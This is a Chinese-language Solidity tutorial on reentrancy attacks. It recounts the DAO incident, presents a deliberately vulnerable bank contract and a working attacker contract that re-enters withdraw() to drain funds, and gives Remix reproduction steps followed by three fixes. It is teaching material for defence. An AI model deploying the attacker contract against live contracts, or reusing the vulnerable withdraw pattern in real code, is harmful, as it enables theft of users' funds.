前言
如果你只学一个 Solidity 安全问题
那一定是:重入攻击(Reentrancy)
因为它:
改变了以太坊历史(DAO 事件)
直接导致千万美元被盗
至今仍是合约审计的第一优先级
这一篇,我们不背概念、不贴图。
👉 直接写代码,把钱"偷"一遍
一、什么是重入攻击?一句话先立住概念
一句话版本:
在合约"还没更新状态"之前,被外部合约反复调用同一个函数
关键不是"攻击",而是这四个字:
👉 状态更新顺序错误
二、历史背景:DAO 事件到底发生了什么?
2016 年:
DAO 合约管理着 360 万 ETH
一个看似无害的提款函数
被反复调用
钱被一笔一笔掏空
结果:
以太坊被迫硬分叉
ETC 诞生
👉 不是密码学失败,而是工程失误
三、实战目标(先定攻击模型)
我们这次要做三件事:
1️⃣ 写一个 有漏洞的存钱/取钱合约
2️⃣ 写一个 攻击合约,把钱偷走
3️⃣ 用三种方式 彻底修复漏洞
你会清楚看到:
"钱是怎么没的"
四、第一步:写一个"看起来没问题"的合约(受害者)
4.1 有漏洞的合约:VulnerableBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
// 存钱
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// 取钱(⚠️ 有漏洞)
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
// 先转账
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
// 再更新余额(致命)
balances[msg.sender] = 0;
}
}
4.2 问题出在哪?
关键顺序是:
转账 → 再清余额
而 call 会:
把控制权交给外部合约
允许对方在 fallback 中再次调用 withdraw
👉 门还没关,人已经进来第二次了
五、第二步:写攻击合约(真正的"偷钱")
5.1 攻击合约:Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./VulnerableBank.sol";
contract Attacker {
VulnerableBank public bank;
address public owner;
constructor(address _bank) {
bank = VulnerableBank(_bank);
owner = msg.sender;
}
// 发起攻击
function attack() external payable {
require(msg.value > 0, "need ETH");
bank.deposit{value: msg.value}();
bank.withdraw();
}
// fallback:关键!
receive() external payable {
if (address(bank).balance > 0) {
bank.withdraw();
}
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
5.2 攻击流程(一步不跳)
1️⃣ 攻击者存 1 ETH
2️⃣ 调用 withdraw
3️⃣ Bank 转账 → 触发 receive
4️⃣ receive 再次调用 withdraw
5️⃣ Bank 还没清余额 → 再转
6️⃣ 循环直到 Bank 被掏空
👉 一次交易,多次取钱
六、在 Remix 中复现攻击(新手必做)
操作步骤:
1️⃣ 部署 VulnerableBank
2️⃣ 存入 5 ETH(用普通账号)
3️⃣ 部署 Attacker(传入 Bank 地址)
4️⃣ 调用 attack(),转 1 ETH
5️⃣ 查看:
Bank balance → 0
Attacker balance → > 1 ETH
👉 你刚刚亲手复现了 DAO 攻击原理
七、防御方式一:Checks-Effects-Interactions(最重要)
原则一句话:
先改状态,再和外部交互
修复后的 withdraw
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
// 先更新状态
balances[msg.sender] = 0;
// 再转账
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
}
👉 90% 的重入问题,到这里就结束了
八、防御方式二:重入锁(Reentrancy Guard)
8.1 最简单的锁
bool private locked;
modifier nonReentrant() {
require(!locked, "reentrant call");
locked = true;
_;
locked = false;
}
8.2 使用锁
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "transfer failed");
}
👉 OpenZeppelin 的 ReentrancyGuard 就是这个思路
九、防御方式三:限制可调用者(业务级)
例如:
不给合约地址提款
使用白名单
使用 Pull Payment 模式
示例(简单版):
require(msg.sender == tx.origin, "no contract");
⚠️ 注意:
这是业务约束
不是通用安全方案
不能单独依赖
十、你已经真正理解的 5 个安全本质
通过这一篇,你已经掌握:
1️⃣ call 会交出控制权
2️⃣ 状态更新顺序决定生死
3️⃣ 攻击不需要"黑科技"
4️⃣ 一行代码顺序 = 几千万美金
5️⃣ 安全是工程问题,不是语法问题
十一、工程师最容易犯的 3 个错误
❌ 以为 "我这个合约没人会攻击"
❌ 以为 "call + require 就安全了"
❌ 以为 "学完语法就能写合约"
👉 攻击者只需要一次机会
总结
如果说:
实战【一】让你 会写合约
实战【二】让你 敢管钱
那实战【三】就是:
让你知道,钱是怎么没的
从这一刻起,你已经正式跨过:
👉 Solidity 新手 → Solidity 工程师
下一篇预告(直接拉开差距)
👉 Solidity 实战【四】:手写一个可升级合约(Proxy 模式)
你会学到:
为什么合约要升级
delegatecall 是什么
UUPS / Transparent Proxy 原理
这是 真正进入生产级合约的门槛。